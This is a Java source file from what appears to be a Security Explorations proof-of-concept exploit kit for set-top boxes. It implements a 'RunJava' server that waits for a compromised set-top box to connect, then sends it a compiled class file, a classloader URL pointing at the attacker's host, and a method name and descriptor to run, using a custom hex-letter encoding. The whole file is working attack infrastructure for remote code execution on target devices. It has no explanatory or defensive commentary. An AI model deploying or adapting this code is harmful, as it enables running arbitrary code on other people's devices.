/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.net.*;
import java.io.*;

public class RunJava {
 public static class Handler extends Thread {
  Socket sck;
  String CLAZZ;
  String POC_URL;
  String METHOD_NAME;
  String METHOD_DESC;

  public Handler(Socket sck,String clazz,String poc_url,String method_name,String method_desc) {
   this.sck=sck;
   CLAZZ=clazz;
   POC_URL=poc_url;
   METHOD_NAME=method_name;
   METHOD_DESC=method_desc;
  }

  public void run() {
   try {
    InputStream sckin=sck.getInputStream();
    OutputStream sckout=sck.getOutputStream();

    String clazzfile=CLAZZ+".class";

    byte data[]=load_file(clazzfile);
    System.out.println("RunJava: loaded "+clazzfile+" : "+data.length+" bytes");

    //class name
    write_int(sckout,CLAZZ.length()+1);
    write_string(sckout,CLAZZ);

    //class bytes
    write_int(sckout,data.length);
    write_bytes(sckout,data);

    //classloader URL
    write_int(sckout,POC_URL.length()+1);
    write_string(sckout,POC_URL);

    //method name
    write_int(sckout,METHOD_NAME.length()+1);
    write_string(sckout,METHOD_NAME);

    //method desc
    write_int(sckout,METHOD_DESC.length()+1);
    write_string(sckout,METHOD_DESC);

    System.out.println("RunJava: done");

    Thread.currentThread().sleep(24*60*60*1000);
   } catch(Throwable t) {}
  }
 }

 private static int read_value(InputStream sckin) throws IOException {
  int val,val2;
 
  val=sckin.read();
  if (val<0) return -1;
  val2=sckin.read();
  if (val2<0) return -1;

  val-=65;
  val2-=65;
  val&=0x0f;
  val2&=0x0f;

  return ((val<<4)|val2);
 }

 private static void write_value(OutputStream sckout,int val) throws IOException {
  int val1,val2;

  val1=(val>>4)&0x0f;
  val2=(val)&0x0f;

  val1+=65;
  val2+=65;

  sckout.write(val1);
  sckout.write(val2);
 }

 private static void write_int(OutputStream sckout,int v) throws IOException {
  int b1=(v)&0xff;
  int b2=(v>>8)&0xff;
  int b3=(v>>16)&0xff;
  int b4=(v>>24)&0xff;

  write_value(sckout,b1);
  write_value(sckout,b2);
  write_value(sckout,b3);
  write_value(sckout,b4);
 }

 private static int read_int(InputStream sckin) throws IOException {
  int b1=read_value(sckin);
  int b2=read_value(sckin);
  int b3=read_value(sckin);
  int b4=read_value(sckin);

  int v=b1&0xff;
  v|=(b2&0xff)<<8;
  v|=(b3&0xff)<<16;
  v|=(b4&0xff)<<24;

  return v;
 }

 private static void write_string(OutputStream sckout,String s) throws IOException {
  byte tab[]=s.getBytes();

  for(int i=0;i<tab.length;i++) {
   int val=(int)tab[i];
   val&=0xff;
   write_value(sckout,val);
  }

  write_value(sckout,0);
  sckout.flush();
 }

 private static void write_bytes(OutputStream sckout,byte tab[]) throws IOException {
  for(int i=0;i<tab.length;i++) {
   int val=(int)tab[i];
   val&=0xff;
   write_value(sckout,val);
  }
 }

 private static byte[] read_bytes(InputStream sckin,int size) throws IOException {
  byte tab[]=new byte[size];

  for(int i=0;i<size;i++) {
   tab[i]=(byte)read_value(sckin);
  }

  return tab;
 }

 static byte[] load_file(String file) throws Throwable {
  FileInputStream fis=new FileInputStream(file);
  int len=(int)(new File(file)).length();

  byte data[]=new byte[len];

  for(int i=0;i<len;i++) {
   data[i]=(byte)fis.read();
  }

  fis.close();

  return data;
 }

 public static void start(String host_addr) {
  try {
   String POC_URL="http://"+host_addr+"/nportal/";

   String METHOD_NAME=POCConfig.RUNJAVA_METHOD_NAME;
   String METHOD_DESC=POCConfig.RUNJAVA_METHOD_DESC;
   String CLAZZ=POCConfig.RUNJAVA_CLASS;

   BufferedReader input=new BufferedReader(new InputStreamReader(System.in,"utf-8"));;

   ServerSocket srv=new ServerSocket(POCConfig.RUNJAVA_PORT,5);
   System.err.println("RunJava server listening on: "+POCConfig.RUNJAVA_PORT);

   while(true) {
    Socket sck=srv.accept();
    sck.setSoTimeout(0);
   
    System.err.println("RunJava: connection from STB");

    (new Handler(sck,CLAZZ,POC_URL,METHOD_NAME,METHOD_DESC)).start();
   }
  } catch(Throwable t) {
   t.printStackTrace();
  }
 }
}
